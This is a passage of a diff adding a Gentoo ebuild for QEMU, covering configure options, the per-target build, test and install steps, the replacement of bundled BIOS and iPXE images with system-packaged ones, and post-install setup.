+ $(conf_softmmu sdl) + $(conf_softmmu seccomp) + $(conf_softmmu smartcard) + $(conf_softmmu snappy) + $(conf_softmmu spice) + $(conf_softmmu ssh libssh2) + $(conf_softmmu usb libusb) + $(conf_softmmu usbredir usb-redir) + $(conf_softmmu uuid) + $(conf_softmmu vde) + $(conf_softmmu vhost-net) + $(conf_softmmu virgl virglrenderer) + $(conf_softmmu virtfs) + $(conf_softmmu vnc) + $(conf_softmmu vte) + $(conf_softmmu xen) + $(conf_softmmu xen xen-pci-passthrough) + $(conf_softmmu xfs xfsctl) + ) + + case ${buildtype} in + user) + conf_opts+=( + --enable-linux-user + --disable-system + --disable-blobs + --disable-tools + ) + ;; + softmmu) + # audio options + local audio_opts="oss" + use alsa && audio_opts="alsa,${audio_opts}" + use sdl && audio_opts="sdl,${audio_opts}" + use pulseaudio && audio_opts="pa,${audio_opts}" + + conf_opts+=( + --disable-linux-user + --enable-system + --with-system-pixman + --audio-drv-list="${audio_opts}" + ) + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) ) + use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) ) + ;; + tools) + conf_opts+=( + --disable-linux-user + --disable-system + --disable-blobs + $(use_enable bzip2) + ) + static_flag="static" + ;; + esac + + local targets="${buildtype}_targets" + [[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" ) + + # Add support for SystemTAP + use systemtap && conf_opts+=( --enable-trace-backend=dtrace ) + + # We always want to attempt to build with PIE support as it results + # in a more secure binary. But it doesn't work with static or if + # the current GCC doesn't have PIE support. + if use ${static_flag}; then + conf_opts+=( --static --disable-pie ) + else + gcc-specs-pie && conf_opts+=( --enable-pie ) + fi + + echo "../configure ${conf_opts[*]}" + cd "${builddir}" + ../configure "${conf_opts[@]}" || die "configure failed" + + # FreeBSD's kernel does not support QEMU assigning/grabbing + # host USB devices yet + use kernel_FreeBSD && \ + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak +} + +src_configure() { + local target + + python_setup + + softmmu_targets= softmmu_bins=() + user_targets= user_bins=() + + for target in ${IUSE_SOFTMMU_TARGETS} ; do + if use "qemu_softmmu_targets_${target}"; then + softmmu_targets+=",${target}-softmmu" + softmmu_bins+=( "qemu-system-${target}" ) + fi + done + + for target in ${IUSE_USER_TARGETS} ; do + if use "qemu_user_targets_${target}"; then + user_targets+=",${target}-linux-user" + user_bins+=( "qemu-${target}" ) + fi + done + + softmmu_targets=${softmmu_targets#,} + user_targets=${user_targets#,} + + [[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu" + [[ -n ${user_targets} ]] && qemu_src_configure "user" + [[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools" +} + +src_compile() { + if [[ -n ${user_targets} ]]; then + cd "${S}/user-build" + default + fi + + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + default + fi + + if [[ -z ${softmmu_targets}${user_targets} ]]; then + cd "${S}/tools-build" + default + fi +} + +src_test() { + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + pax-mark m */qemu-system-* #515550 + emake -j1 check + emake -j1 check-report.html + fi +} + +qemu_python_install() { + python_domodule "${S}/scripts/qmp/qmp.py" + + python_doscript "${S}/scripts/kvm/vmxcap" + python_doscript "${S}/scripts/qmp/qmp-shell" + python_doscript "${S}/scripts/qmp/qemu-ga-client" +} + +src_install() { + if [[ -n ${user_targets} ]]; then + cd "${S}/user-build" + emake DESTDIR="${ED}" install + + # Install binfmt handler init script for user targets + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt + fi + + if [[ -n ${softmmu_targets} ]]; then + cd "${S}/softmmu-build" + emake DESTDIR="${ED}" install + + # This might not exist if the test failed. #512010 + [[ -e check-report.html ]] && dohtml check-report.html + + if use kernel_linux; then + udev_dorules "${FILESDIR}"/65-kvm.rules + fi + + if use python; then + python_foreach_impl qemu_python_install + fi + fi + + if [[ -z ${softmmu_targets}${user_targets} ]]; then + cd "${S}/tools-build" + emake DESTDIR="${ED}" install + fi + + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348 + pushd "${ED}"/usr/bin >/dev/null + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}" + popd >/dev/null + + # Install config file example for qemu-bridge-helper + insinto "/etc/qemu" + doins "${FILESDIR}/bridge.conf" + + # Remove the docdir placed qmp-commands.txt + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die + + cd "${S}" + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt + newdoc pc-bios/README README.pc-bios + dodoc docs/qmp-*.txt + + if [[ -n ${softmmu_targets} ]]; then + # Remove SeaBIOS since we're using the SeaBIOS packaged one + rm "${ED}/usr/share/qemu/bios.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin + fi + + # Remove vgabios since we're using the vgabios packaged one + rm "${ED}/usr/share/qemu/vgabios.bin" + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin" + rm "${ED}/usr/share/qemu/vgabios-qxl.bin" + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin" + rm "${ED}/usr/share/qemu/vgabios-vmware.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin + fi + + # Remove sgabios since we're using the sgabios packaged one + rm "${ED}/usr/share/qemu/sgabios.bin" + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin + fi + + # Remove iPXE since we're using the iPXE packaged one + rm "${ED}"/usr/share/qemu/pxe-*.rom + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom + fi + fi + + qemu_support_kvm && readme.gentoo_create_doc +} + +pkg_postinst() { + if qemu_support_kvm; then + readme.gentoo_print_elog + fi + + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then + udev_reload + fi + + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper +} + +pkg_info() { + echo "Using:" + echo " $(best_version app-emulation/spice-protocol)" + echo " $(best_version sys-firmware/ipxe)" + echo " $(best_version sys-firmware/seabios)" + if has_version 'sys-firmware/seabios[binary]'; then + echo " USE=binary" + else + echo " USE=''" + fi + echo " $(best_version sys-firmware/vgabios)" +}